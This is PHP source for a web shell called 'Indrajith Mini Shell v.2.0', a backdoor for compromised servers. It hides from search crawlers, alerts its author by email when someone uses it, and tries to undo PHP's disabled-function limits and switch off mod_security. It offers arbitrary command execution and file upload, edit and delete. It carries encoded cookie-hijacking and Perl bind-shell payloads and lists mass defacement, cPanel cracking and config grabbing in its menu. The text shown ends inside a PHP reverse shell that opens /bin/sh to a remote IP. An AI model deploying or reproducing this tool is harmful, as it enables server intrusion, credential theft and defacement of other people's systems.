<?php

/*

* Indrajith Mini Shell v.2.0 with additional features....

* originally scripted by AJITH KP

* (c) Under Gnu General Public Licence 3(c)

* Team Open Fire and Indishell Family

* TOF : Shritam Bhowmick, Null | Void, Alex, Ankit Sharma,John.

* Indishell : ASHELL, D@rkwolf.

* THA : THA RUDE [There is Nothing in Borders]

* Love to : AMSTECK ARTS & SCIENCE COLLEGE, Kalliassery; Vishnu Nath KP, Sreeju, Sooraj, Computer Korner Friends.

*/

/*------------------ LOGIN -------------------*/

$username="ajithkp560";

$password="ajithkp560";

$email="ajithkp560@gmail.com";

/*------------------ Login Data End ----------*/

@error_reporting(4);

/*------------------ Anti Crawler ------------*/

if(!empty($_SERVER['HTTP_USER_AGENT']))

{

$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");

if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))

{

header('HTTP/1.0 404 Not Found');

exit;

}

}

echo "<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" />"; //For Ensuring... Fuck all Robots...

/*------------------ End of Anti Crawler -----*/

echo "<link href=data:image/gif;base64,R0lGODlhEAAQAPcAADGcADmcADmcCEKcEEKlEEqlGEqlIVKlIVKtIVKtKVqtMWO1OWu1Qmu1SnO1SnO9SnO9Unu9WoS9Y4TGY4zGa4zGc5TGc5TOc5TOe5zOe5zOhK3WlLXepb3ercbntcbnvc7nvc7nxtbvzt7vzt7v1uf33u/35+/37/f37/f/9///9////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////ywAAAAAEAAQAAAIxwA7ABhIsGBBgQEAJAwwgIGEBQojEhQwcIEFDRUUUCS4UCEEjAc2RhQJoIGGCAIERODQQOLAAAc0SABwgEMIDgoSShQgAcMAAx08OBCgEYDImA0CbPiwoICHFBIoDogAwAGGAgpCVBggYgUHAwU2nFgBQEIFARVAGNCwAkNVEytCzKwwc0MHASVICHCQ4gTKgRJaVtAgQAQGBSdMJCDZ0WiADyoYAOCg4eVAkQpWCBRgIoTOjTotrHAwECwAgZYpdkBRQGKHgAAAOw== rel=icon type=image/x-icon />";

echo "<style>

html { background:url(http://www.ajithkp560.hostei.com/images/background.gif) black; }

#loginbox { font-size:11px; color:green; width:1200px; height:200px; border:1px solid #4C83AF; background-color:#111111; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }

input { font-size:11px; background:#191919; color:green; margin:0 4px; border:1px solid #222222; }

loginbox td { border-radius:5px; font-size:11px; }

.header { size:25px; color:green; }

h1 { font-family:DigifaceWide; color:green; font-size:200%; }

h1:hover { text-shadow:0 0 20px #00FFFF, 0 0 100px #00FFFF; }

.go { height: 50px; width: 50px;float: left; margin-right: 10px; display: none; background-color: #090;}

.input_big { width:75px; height:30px; background:#191919; color:green; margin:0 4px; border:1px solid #222222; font-size:17px; }

hr { border:1px solid #222222; }

#meunlist { width: auto; height: auto; font-size: 12px; font-weight: bold; }

#meunlist ul { padding-top: 5px; padding-right: 5px; padding-bottom: 7px; padding-left: 2px; text-align:center; list-style-type: none; margin: 0px; }

#meunlist li { margin: 0px; padding: 0px; display: inline; }

#meunlist a { font-size: 14px; text-decoration:none; font-weight: bold;color:green;clear: both;width: 100px;margin-right: -6px; padding-top: 3px; padding-right: 15px; padding-bottom: 3px; padding-left: 15px; }

#meunlist a:hover { background: #333; color:green; }

.menubar {-moz-border-radius: 10px; border-radius: 10px; border:1px solid green; padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }

.menu { font-size:25px; color: }

.textarea_edit { background-color:#111111; border:1px groove #333; color:green; }

.textarea_edit:hover { text-decoration:none; border:1px dashed #333; }

.input_butt {font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222;}

#result{ -moz-border-radius: 10px; border-radius: 10px; border:1px solid green; padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; min-height:100px;}

.table{ width:100%; padding:4px 0; color:#888; font-size:15px; }

.table a{ text-decoration:none; color:green; font-size:15px; }

.table a:hover{text-decoration:underline;}

.table td{ border-bottom:1px solid #222222; padding:0 8px; line-height:24px; vertical-align:top; }

.table th{ padding:3px 8px; font-weight:normal; background:#222222; color:#555; }

.table tr:hover{ background:#181818; }

.tbl{ width:100%; padding:4px 0; color:#888; font-size:15px; text-align:center; }

.tbl a{ text-decoration:none; color:green; font-size:15px; vertical-align:middle; }

.tbl a:hover{text-decoration:underline;}

.tbl td{ border-bottom:1px solid #222222; padding:0 8px; line-height:24px; vertical-align:middle; width: 300px; }

.tbl th{ padding:3px 8px; font-weight:normal; background:#222222; color:#555; vertical-align:middle; }

.tbl td:hover{ background:#181818; }

#alert {position: relative;}

#alert:hover:after {background: hsla(0,0%,0%,.8);border-radius: 3px;color: #f6f6f6;content: 'Click to dismiss';font: bold 12px/30px sans-serif;height: 30px;left: 50%;margin-left: -60px;position: absolute;text-align: center;top: 50px; width: 120px;}

#alert:hover:before {border-bottom: 10px solid hsla(0,0%,0%,.8);border-left: 10px solid transparent;border-right: 10px solid transparent;content: '';height: 0;left: 50%;margin-left: -10px;position: absolute;top: 40px;width: 0;}

#alert:target {display: none;}

.alert_red {animation: alert 1s ease forwards;background-color: #c4453c;background-image: linear-gradient(135deg, transparent,transparent 25%, hsla(0,0%,0%,.1) 25%,hsla(0,0%,0%,.1) 50%, transparent 50%,transparent 75%, hsla(0,0%,0%,.1) 75%,hsla(0,0%,0%,.1));background-size: 20px 20px;box-shadow: 0 5px 0 hsla(0,0%,0%,.1);color: #f6f6f6;display: block;font: bold 16px/40px sans-serif;height: 40px;position: absolute;text-align: center;text-decoration: none;top: -45px;width: 100%;}

.alert_green {animation: alert 1s ease forwards;background-color: #43CD80;background-image: linear-gradient(135deg, transparent,transparent 25%, hsla(0,0%,0%,.1) 25%,hsla(0,0%,0%,.1) 50%, transparent 50%,transparent 75%, hsla(0,0%,0%,.1) 75%,hsla(0,0%,0%,.1));background-size: 20px 20px;box-shadow: 0 5px 0 hsla(0,0%,0%,.1);color: #f6f6f6;display: block;font: bold 16px/40px sans-serif;height: 40px;position: absolute;text-align: center;text-decoration: none;top: -45px;width: 100%;}

@keyframes alert {0% { opacity: 0; }50% { opacity: 1; }100% { top: 0; }}

</style>";

if($_COOKIE["user"] != $username && $_COOKIE["pass"] != md5($password))

{

if($_POST["usrname"]==$username && $_POST["passwrd"]==$password)

{

print'<script>document.cookie="user='.$_POST["usrname"].';";document.cookie="pass='.md5($_POST["passwrd"]).';";</script>';

if($email!="")

{

mail_alert();

}

}

else

{

if($_POST['usrname'])

{

print'<script>alert("Sorry... Wrong UserName/PassWord");</script>';

}

echo '<title>INDRAJITH SHELL v.2.0</title><center>

<div id=loginbox><p><font face="verdana,arial" size=-1>

<font color=orange>>>>>>>>>>></font><font color=white>>>>>><<<<<</font><font color=green>>>>>>>>>>></font>

<center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>

<tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>INDRAJITH SHELL v.2.0</b></font></th></tr>

<tr><td bgcolor="black" style="padding:5">

<form method="post">

<input type="hidden" name="action" value="login">

<input type="hidden" name="hide" value="">

<center><table>

<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" value="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>

<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="passwrd" value="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>

<tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Enter"></font></td></tr></table>

</div><br /></center>';

exit;

}

}

$color_g="green";

$color_b="4C83AF";

$color_bg="#111111";

$color_hr="#222";

$color_wri="green";

$color_rea="yellow";

$color_non="red";

$path=$_GET['path'];

@session_start();

@set_time_limit(0);

@ini_restore("safe_mode_include_dir");

@ini_restore("safe_mode_exec_dir");

@ini_restore("disable_functions");

@ini_restore("allow_url_fopen");

@ini_restore("safe_mode");

@ini_restore("open_basedir");

@ignore_user_abort(FALSE);

@ini_set('zlib.output_compression','Off');

$sep="/";

if(strtolower(substr(PHP_OS,0,3))=="win")

{

$os="win";

$sep="\\";

$ox="Windows";

}

else

{

$os="nix";

$ox="Linux";

}

$self=$_SERVER['PHP_SELF'];

$srvr_sof=$_SERVER['SERVER_SOFTWARE'];

$your_ip=$_SERVER['REMOTE_ADDR'];

$srvr_ip=$_SERVER['SERVER_ADDR'];

$admin=$_SERVER['SERVER_ADMIN'];

$s_php_ini="safe_mode=OFF

disable_functions=NONE";

$ini_php="<?

echo ini_get(\"safe_mode\");

echo ini_get(\"open_basedir\");

include(\$_GET[\"file\"]);

ini_restore(\"safe_mode\");

ini_restore(\"open_basedir\");

echo ini_get(\"safe_mode\");

echo ini_get(\"open_basedir\");

include(\$_GET[\"ss\"]);

?>";

$s_htaccess="<IfModule mod_security.c>

Sec------Engine Off

Sec------ScanPOST Off

</IfModule>";

$s_htaccess_pl="Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .sh

AddHandler cgi-script .pl

AddHandler cgi-script .pl";

$sym_htaccess="Options all

DirectoryIndex Sux.html

AddType text/plain .php

AddHandler server-parsed .php

AddType text/plain .html

AddHandler txt .html

Require None

Satisfy Any";

$sym_php_ini="safe_mode=OFF

disable_functions=NONE";

$forbid_dir="Options -Indexes";

$cookie_highjacker="rVVdc5pAFH13xv9wh3Eipq22M3miasaJGGmNWsS2mU6HQVyEFlnCLkk7If+9d8EPCKFtpuVB2d1z7z177gf1Wvc8dMN6rXP6av/AJQlIZHGyBouBBaEVcaAOaNOhPninGWNYjNXJBMKIfiM2h53Zaadec+LA5h4N0AXX5nKrXruv1wAfzwF5QzgJbmVpbBhz82KiqVPD1OZSC05OgPHIthixt2El7CVIcfA9oHeB1GplXnfOxdPwQuhBle3bDPiQ/RGfkTKjz+Zopn8a6EN1KN5+z6sEfja7koc/cNTVq5mhmoPhsJpaAfMcRgXDCiIeY4TLDXOh6h9V/UszZ9P8mjKqOHtEtgL1N3QrTMuEK+wPEYoWEeFxFMiIEXd/yJWxTzdDi1u5QkbQhG56kk0Dx9vE2CaIY23+g++dNmxKv3ukQPfDUtWvzYWha9PLA99GRDYe4yQyNz5dWT5DE3lFqd8CL/BMzI3cPEJSRHOfHJGQkn2rmNWCSHvDNJ0ZbNejeHDgszVDis3+hNLzmW4cmccMo1obEhSxaWEvcWUOLrH1cje9YdzcEu7SdcHgSjXGs2Feka3pUvYkg/FskfdIHBKRqBxeV0eqrh6rorHGSdYTPyBLPqwXYpSN4BpcxVMYDA713sBk9xwakkCWsixLWJPWC+mokFA9RNXNrcVtV5Y6K5dvVx0PgZlFC5IESgi/ACkXtxPGnMkiPgbU5kqanwSE5EouKwkICZScSgkMRA6UQkISyFRVirIngMooR+ESGA4M9R4UeMg0wp2L2ey9pirHGu6uov5TA+F/XuGf7pBeQqm+QBA8pu/YPmUkpbrr9kOT45LYLgWpXuuKtPW7LrHWfVxxj/ukf/b6DKaUw4jGwbrbyTbxtJPCuiu6/imW7pt+DoUr3Av7hktw0NzEhIkP61KfgNQuFDnOiIVhLnUNJ2Zbgjv89gboxhFuAGcRdz0GKNEtidrdTpgGTkOKwXOOy18=";

$bind_perl="rZJdb5swFIavi8R/OHXTFSSmZJu2i0abxAjtWApEQLtNVYUoOK1VgimmmqIq/30+dpKmmna1+Aq/7/Fzvjg6HD6JbnjLmmFLuxre/jYN0zjax5EY+P+jMee0oV3R0woKAQW0RdcDn0MQTRL3e5B9g5A1DNJ7WtfwdQlKm84+fhrBdRaf3Wwwe6lmP7MxjSdBIeXlA+3H+uLxZs7u5GXAhcr2GQZae+aiKRZ0hV7Lu/5AOm5yfnU9ulFSx3sutTvaq8/bJUZbJ33ZntgYUC4qaZO6rcgYUw/EUvR0gZpavbjXOptbmJs+AgnTH6z58J7YpvFsGgfrF7IkcuzFYTrzvWMYTvHZShFHWK3MozhCtWWlfnLlJw7MzvIg8jMH0tib5mmW+G7ogC7bBt5BxSgQ/eh0cIhQQXu88/aFksYXOQI0KE/8y9R3JxPptEX5YJGaOPDO3uFtEaegobLVaotDr6iqLmeNpYbqyN8Jebkb/drB4KMNoGZyCM1ORaH704uj6CVaR2ziTWPOO2ssW8VMckJFWVLZkncR+BG2oUD2GMqa4w+g5PXEeYuZskkQOUC+vNEewXVurfgy+6fnJ8lfnt6htd6lklRineb1XbJfCxKIwuoP";

/*----------------------- Top Menu ------------------------------------------*/

if($safemode=="On")

{

echo "<div id='alert'><a class=\"alert_red\" href=\"#alert\">Safe Mode : <font color=green>ON</font></a></div>";

}

else

{

echo "<div id='alert'><a class=\"alert_green\" href=\"#alert\">Safe Mode : <font color=red>OFF</font></a></div>";

}

echo "<script src=\"http://code.jquery.com/jquery-latest.js\"></script><script>$(\"#alert\").delay(2000).fadeOut(300);</script>";

echo "<title>INDRAJITH SHELL v.2.0</title><div id=result>

<table>

<tbody>

<tr>

<td style='border-right:1px solid #104E8B;' width=\"300px;\">

<div style='text-align:center;'>

<a href='?' style='text-decoration:none;'><h1>INDRAJITH</h1></a><font color=blue>MINI SHELL</font>

</div>

</td>

<td>

<div class=\"header\">OS</font> <font color=\"#666\" >:</font>

".$ox." </font> <font color=\"#666\" >|</font> ".php_uname()."<br />

Your IP : <font color=red>".$your_ip."</font> <font color=\"#666\" >|</font> Server IP : <font color=red>".$srvr_ip."</font> <font color=\"#666\" > | </font> Admin <font color=\"#666\" > : </font> <font color=red> {$admin} </font> <br />

MySQL <font color=\"#666\" > : </font>"; echo mysqlx();

echo "<font color=\"#666\" > | </font> Oracle <font color=\"#666\" > : </font>"; echo oraclesx();

echo "<font color=\"#666\" > | </font> MSSQL <font color=\"#666\" > : </font>"; echo mssqlx();

echo "<font color=\"#666\" > | </font> PostGreySQL <font color=\"#666\" > : </font>";echo postgreyx();

echo "<br />cURL <font color=\"#666\" > : </font>";echo curlx();

echo "<font color=\"#666\" > | </font>Total Space<font color=\"#666\" > : </font>"; echo disc_size();

echo "<font color=\"#666\" > | </font>Free Space<font color=\"#666\" > : </font>"; echo freesize();

echo "<br />Software<font color=\"#666\" > : </font><font color=red>{$srvr_sof}</font><font color=\"#666\" > | </font> PHP<font color=\"#666\" > : </font><a style='color:red; text-decoration:none;' target=_blank href=?phpinfo>".phpversion()."</a>

<br />Disabled Functions<font color=\"#666\" > : </font></font><font color=red>";echo disabled_functns()."</font><br />";

if($os == 'win'){ echo "Drives <font color=\"#666\" > : </font>";echo drivesx(); }

else { echo "r00t Exploit <font color=\"#666\" > : </font><font color=red>"; echo r00t_exploit() ."</font>"; }

echo "

</div>

</td>

</tr>

</tbody>

</table></div>";

echo "<div class='menubar'> <div id=\"meunlist\">

<ul>

<li><a href=\"?\">HOME</a></li>

<li><a href=\"?symlink\">SymLink</a></li>

<li><a href=\"?rs\">((( Connect )))</a></li>

<li><a href=\"?cookiejack\">Cookie HighJack</a></li>

<li><a href=\"?encodefile\">PHP Encode/Decode</a></li>

<li><a href=\"?path={$path}&amp;safe_mod\">Safe Mode Fucker</a></li>

<li><a href=\"?path={$path}&amp;forbd_dir\">Directory Listing Forbidden</a></li>

</ul>

<ul>

<li><a href=\"?massmailer\">Mass Mailer</a></li>

<li><a href=\"?cpanel_crack\">CPANEL Crack</a></li>

<li><a href=\"?server_exploit_details\">Exploit Details</a></li>

<li><a href=\"?remote_server_scan\">Remote Server Scan</a></li>

<li><a href=\"?remotefiledown\">Remote File Downloader</a></li>

<li><a href=\"?hexenc\">Hexa Encode/Decode</a></li>

</ul>

<ul>

<li><a href=\"?sh311_scanner\">SH3LL Scan</a></li>

<li><a href=\"?sshman\">SSH Shell</a></li>

<li><a href=\"?path={$path}&c0de_inject\">c0de inj3ct</a></li>

<li><a href=\"?ftpman\">FTP Manager</a></li>

<li><a href=\"?ftp_anon_scan\">FTP Anonymous Access Scan</a></li>

<li><a href=\"?path={$path}&amp;mass_xploit\">Mass Deface</a></li>

<li><a href=\"?config_grab\">Config Grabber</a></li>

<li><a href=\"?killme\"><font color=red>Kill Me</font></a></li>

</ul>

</div></div>";

/*----------------------- End of Top Menu -----------------------------------*/

/*--------------- FUNCTIONS ----------------*/

function alert($alert_txt)

{

echo "<script>alert('".$alert_txt."');window.location.href='?';</script>";

}

function disabled_functns()

{

if(!@ini_get('disable_functions'))

{

echo "None";

}

else

{

echo @ini_get('disable_functions');

}

}

function drivesx()

{

foreach(range('A','Z') as $drive)

{

if(is_dir($drive.':\\'))

{

echo "<a style='color:green; text-decoration:none;' href='?path=".$drive.":\\'>[".$drive."]</a>";

}

}

}

function mail_alert()

{

global $email, $your_ip;

$shell_path="http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];

$content_mail="Hello Master,\n

Your shell in $shell_path is accessed by ".$_SERVER['REMOTE_ADDR'] .". Hope You Enjoy this shell very much.\n

By Indrajith";

mail($email, "Shell Accessed!!!", $content_mail ,"From:indrajith@shell.com");

}

function filesizex($size)

{

if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB";

elseif ($size>=1048576)$size = round(($size/1048576),2)." MB";

elseif ($size>=1024)$size = round(($size/1024),2)." KB";

else $size .= " B";

return $size;

}

function disc_size()

{

echo filesizex(disk_total_space("/"));

}

function freesize()

{

echo filesizex(disk_free_space("/"));

}

function file_perm($filz){

if($m=fileperms($filz)){

$p='';

$p .= ($m & 00400) ? 'r' : '-';

$p .= ($m & 00200) ? 'w' : '-';

$p .= ($m & 00100) ? 'x' : '-';

$p .= ($m & 00040) ? 'r' : '-';

$p .= ($m & 00020) ? 'w' : '-';

$p .= ($m & 00010) ? 'x' : '-';

$p .= ($m & 00004) ? 'r' : '-';

$p .= ($m & 00002) ? 'w' : '-';

$p .= ($m & 00001) ? 'x' : '-';

return $p;

}

else return "?????";

}

function mysqlx()

{

if(function_exists('mysql_connect'))

{

echo "<font color='red'>Enabled</font>";

}

else

{

echo "<font color='green'>Disabled</font>";

}

}

function oraclesx()

{

if(function_exists('oci_connect'))

{

echo "<font color='red'>Enabled</font>";

}

else

{

echo "<font color='green'>Disabled</font>";

}

}

function mssqlx()

{

if(function_exists('mssql_connect'))

{

echo "<font color='red'>Enabled</font>";

}

else

{

echo "<font color='green'>Disabled</font>";

}

}

function postgreyx()

{

if(function_exists('pg_connect'))

{

echo "<font color='red'>Enabled</font>";

}

else

{

echo "<font color='green'>Disabled</font>";

}

}

function strip($filx)

{

if(!get_magic_quotes_gpc()) return trim(urldecode($filx));

return trim(urldecode(stripslashes($filx)));

}

function curlx()

{

if(function_exists('curl_version'))

{

echo "<font color='red'>Enabled</font>";

}

else

{

echo "<font color='green'>Disabled</font>";

}

}

function filesize_x($filex)

{

$f_size=filesizex(filesize($filex));

return $f_size;

}

function rename_ui()

{

$rf_path=$_GET['rename'];

echo "<div id=result><center><h2>Rename</h2><hr /><p><br /><br /><form method='GET'><input type=hidden name='old_name' size='40' value=".$rf_path.">New Name : <input name='new_name' size='40' value=".basename($rf_path)."><input type='submit' value=' >>> ' /></form></p><br /><br /><hr /><br /><br /></center></div>";

}

function filemanager_bg()

{

global $sep, $self;

$path=!empty($_GET['path'])?$_GET['path']:getcwd();

$dirs=array();

$fils=array();

if(is_dir($path))

{

chdir($path);

if($handle=opendir($path))

{

while(($item=readdir($handle))!==FALSE)

{

if($item=="."){continue;}

if($item==".."){continue;}

if(is_dir($item))

{

array_push($dirs, $path.$sep.$item);

}

else

{

array_push($fils, $path.$sep.$item);

}

}

}

else

{

alert("Access Denied for this operation");

}

}

else

{

alert("Directory Not Found!!!");

}

echo "<div id=result><table class=table>

<tr>

<th width='500px'>Name</th>

<th width='100px'>Size</th>

<th width='100px'>Permissions</th>

<th width='500px'>Actions</th>

</tr>";

foreach($dirs as $dir)

{

echo "<tr><td><a href='{$self}?path={$dir}'>".basename($dir)."</a></td>

<td>".filesize_x($dir)."</td>

<td><a href='{$self}?path={$path}&amp;perm={$dir}'>".file_perm($dir)."</a></td>

<td><a href='{$self}?path={$path}&amp;del_dir={$dir}'>Delete</a> | <a href='{$self}?path={$path}&amp;rename={$dir}'>Rename</a></td></tr>";

}

foreach($fils as $fil)

{

echo "<tr><td><a href='{$self}?path={$path}&amp;read={$fil}'>".basename($fil)."</a></td>

<td>".filesize_x($fil)."</td>

<td><a href='{$self}?path={$path}&amp;perm={$fil}'>".file_perm($fil)."</a></td>

<td><a href='{$self}?path={$path}&amp;del_fil={$fil}'>Delete</a> | <a href='{$self}?path={$path}&amp;rename={$fil}'>Rename</a> | <a href='{$self}?path={$path}&amp;edit={$fil}'>Edit</a> | <a href='{$self}?path={$path}&amp;copy={$fil}'>Copy</a> </td>";

}

echo "</tr></table></div>";

}

function rename_bg()

{

if(isset($_GET['old_name']) && isset($_GET['new_name']))

{

$o_r_path=basename($_GET['old_name']);

$r_path=str_replace($o_r_path, "", $_GET['old_name']);

$r_new_name=$r_path.$_GET['new_name'];

echo $r_new_name;

if(rename($_GET['old_name'], $r_new_name)==FALSE)

{

alert("Access Denied for this action!!!");

}

else

{

alert("Renamed File Succeessfully");

}

}

}

function edit_file()

{

$path=$_GET['path'];

chdir($path);

$edt_file=$_GET['edit'];

$e_content = wordwrap(htmlspecialchars(file_get_contents($edt_file)));

if($e_content)

{

$o_content=$e_content;

}

else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))

{

$fd = fopen($edt_file, "rb");

if(!$fd)

{

alert("Permission Denied");

}

else

{

while(!feof($fd))

{

$o_content=wordwrap(htmlspecialchars(fgets($fd)));

}

}

fclose($fd);

}

echo "<div id='result'><center><h2>Edit File</h2><hr /></center><br /><font color=red>View File</font> : <font color=green><a style='text-decoration:none; color:green;' href='?read=".$_GET['edit']."'>". basename($_GET['edit']) ."</a><br /><br /><hr /><br /></font><form method='POST'><input type='hidden' name='e_file' value=".$_GET['edit'].">

<center><textarea spellcheck='false' class='textarea_edit' name='e_content_n' cols='80' rows='25'>".$o_content."</textarea></center><hr />

<input class='input_big' name='save' type='submit' value=' Save ' /><br /><br /><hr /><br /><br /></div>";

}

function edit_file_bg()

{

if(file_exists($_POST['e_file']))

{

$handle = fopen($_POST['e_file'],"w+");

if (!handle)

{

alert("Permission Denied");

}

else

{

fwrite($handle,$_POST['e_content_n']);

alert("Your changes were Successfully Saved!");

}

fclose($handle);

}

else

{

alert("File Not Found!!!");

}

}

function delete_file()

{

$del_file=$_GET['del_fil'];

if(unlink($del_file) != FALSE)

{

alert("Deleted Successfully");

exit;

}

else

{

alert("Access Denied for this Operation");

exit;

}

}

function deldirs($d_dir)

{

$d_files= glob($d_dir.'*', GLOB_MARK);

foreach($d_files as $d_file)

{

if(is_dir($d_file))

{

deldirs($d_file);

}

else

{

unlink($d_file);

}

}

if(is_dir($d_dir))

{

if(rmdir($d_dir))

{

alert("Deleted Directory Successfully");

}

else

{

alert("Access Denied for this Operation");

}

}

}

function code_viewer()

{

$path=$_GET['path'];

$r_file=$_GET['read'];

$r_content = wordwrap(htmlspecialchars(file_get_contents($r_file)));

if($r_content)

{

$rr_content=$r_content;

}

else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))

{

$fd = fopen($r_file, "rb");

if (!$fd)

{

alert("Permission Denied");

}

else

{

while(!feof($fd))

{

$rr_content=wordwrap(htmlspecialchars(fgets($fd)));

}

}

fclose($fd);

}

echo "<div id=result><center><h2>View File</h2></center><hr /><br /><font color=red>Edit File</font><font color=green> : </font><font color=#999><a style='text-decoration:none; color:green;' href='?path={$path}&amp;edit=".$_GET['read']."'>". basename($_GET['read']) ."</a></font><br /><br /><hr /><pre><code>".$rr_content."</code></pre><br /><br /><hr /><br /><br /></div>";

}

function copy_file_ui()

{

echo "<div id=result><center><h2>Copy File</h2><hr /><br /><br /><table class=table><form method='GET'><tr><td style='text-align:center;'>Copy : <input size=40 name='c_file' value=".$_GET['copy']." > To : <input size=40 name='c_target' value=".$_GET['path'].$sep."> Name : <input name='cn_name'><input type='submit' value=' >> ' /></form></table><br /><br /><hr /><br /><br /><br /></center></div>";

}

function copy_file_bg()

{

global $sep;

if(function_exists(copy))

{

if(copy($_GET['c_file'], $_GET['c_target'].$sep.$_GET['cn_name']))

{

alert("Succeded");

}

else

{

alert("Access Denied");

}

}

}

function ch_perm_bg()

{

if(isset($_GET['p_filex']) && isset($_GET['new_perm']))

{

if(chmod($_GET['p_filex'], $_GET['new_perm']) !=FALSE)

{

alert("Succeded. Permission Changed!!!");

}

else

{

alert("Access Denied for This Operation");

}

}

}

function ch_perm_ui()

{

$p_file=$_GET['perm'];

echo "<div id =result><center><h2>New Permission</h2><hr /><p><form method='GET'><input type='hidden' name='path' value=".getcwd()." ><input name='p_filex' type=hidden value={$p_file} >New Permission : <input name='new_perm' isze='40' value=0".substr(sprintf('%o', fileperms($p_file)), -3)."><input type='submit' value=' >> ' /></form></p><p>Full Access : <font color=red>755</font><br />Notice : <font color=red>Don't use Unix Access like 777, 666, etc. Use 755, 655, etc</p><br /><br /><hr /><br /><br /></center></div>";

ch_perm_bg();

}

function mk_file_ui()

{

chdir($_GET['path']);

echo "<div id=result><br /><br /><font color=red><form method='GET'>

<input type='hidden' name='path' value=".getcwd().">

New File Name : <input size='40' name='new_f_name' value=".$_GET['new_file']."></font><br /><br /><hr /><br /><center>

<textarea spellcheck='false' cols='80' rows='25' class=textarea_edit name='n_file_content'></textarea></center><hr />

<input class='input_big' type='submit' value=' Save ' /></form></center></div>";

}

function mk_file_bg()

{

chdir($_GET['path']);

$c_path=$_GET['path'];

$c_file=$_GET['new_f_name'];

$c_file_contents=$_GET['n_file_content'];

$handle=fopen($c_file, "w");

if(!$handle)

{

alert("Permission Denied");

}

else

{

fwrite($handle,$c_file_contents);

alert("Your changes were Successfully Saved!");

}

fclose($handle);

}

function create_dir()

{

chdir($_GET['path']);

$new_dir=$_GET['new_dir'];

if(is_writable($_GET['path']))

{

mkdir($new_dir);

alert("Direcory Created Successfully");

exit;

}

else

{

alert("Access Denied for this Operation");

exit;

}

}

function cmd($cmd)

{

chdir($_GET['path']);

$res="";

if($_GET['cmdexe'])

{

$cmd=$_GET['cmdexe'];

}

if(function_exists('shell_exec'))

{

$res=shell_exec($cmd);

}

else if(function_exists('exec'))

{

exec($cmd,$res);

$res=join("\n",$res);

}

else if(function_exists('system'))

{

ob_start();

system($cmd);

$res = ob_get_contents();

ob_end_clean();

}

elseif(function_exists('passthru'))

{

ob_start();

passthru($cmd);

$res=ob_get_contents();

ob_end_clean();

}

else if(function_exists('proc_open'))

{

$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));

$handle = proc_open($cmd ,$descriptorspec , $pipes);

if(is_resource($handle))

{

if(function_exists('fread') && function_exists('feof'))

{

while(!feof($pipes[1]))

{

$res .= fread($pipes[1], 512);

}

}

else if(function_exists('fgets') && function_exists('feof'))

{

while(!feof($pipes[1]))

{

$res .= fgets($pipes[1],512);

}

}

}

pclose($handle);

}

else if(function_exists('popen'))

{

$handle = popen($cmd , "r");

if(is_resource($handle))

{

if(function_exists('fread') && function_exists('feof'))

{

while(!feof($handle))

{

$res .= fread($handle, 512);

}

}

else if(function_exists('fgets') && function_exists('feof'))

{

while(!feof($handle))

{

$res .= fgets($handle,512);

}

}

}

pclose($handle);

}

$res=wordwrap(htmlspecialchars($res));

if($_GET['cmdexe'])

{

echo "<div id=result><center><font color=green><h2>r00t@TOF:~#</h2></center><hr /><pre>".$res."</font></pre></div>";

}

return $res;

}

function upload_file()

{

chdir($_POST['path']);

if(move_uploaded_file($_FILES['upload_f']['tmp_name'],$_FILES['upload_f']['name']))

{

alert("Uploaded File Successfully");

}

else

{

alert("Access Denied!!!");

}

}

function reverse_conn_ui()

{

global $your_ip;

echo "<div id='result'>

<center><h2>Reverse Shell</h2><hr />

<br /><br /><form method='GET'><table class=tbl>

<tr>

<td><select name='rev_option' style='color:green; background-color:black; border:1px solid #666;'>

<option>PHP Reverse Shell</option>

<option>PERL Bind Shell</option>

</select></td></tr><tr>

<td>Your IP : <input name='my_ip' value=".$your_ip.">

PORT : <input name='my_port' value='560'>

<input type='submit' value=' >> ' /></td></tr></form>

<tr></tr>

<tr><td><font color=red>PHP Reverse Shell</font> : <font color=green> nc -l -p <i>port</i></font></td></tr><tr><td><font color=red>PERL Bind Shell</font> : <font color=green> nc <i>server_ip port</i></font></td></tr></table> </div>";

}

function reverse_conn_bg()

{

global $os;

$option=$_REQUEST['rev_option'];

$ip=$_GET['my_ip'];

$port=$_GET['my_port'];

if($option=="PHP Reverse Shell")

{

echo "<div id=result><h2>RESULT</h2><hr /><br />";

function printit ($string)

{

if (!$daemon)

{

print "$string\n";

}

}

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';

$daemon = 0;

$debug = 0;

if (function_exists('pcntl_fork'))

{

$pid = pcntl_fork();

if ($pid == -1)

{

printit("ERROR: Can't fork");

exit(1);

}

if ($pid)

{

exit(0);

}

if (posix_setsid() == -1)

{

printit("Error: Can't setsid()");

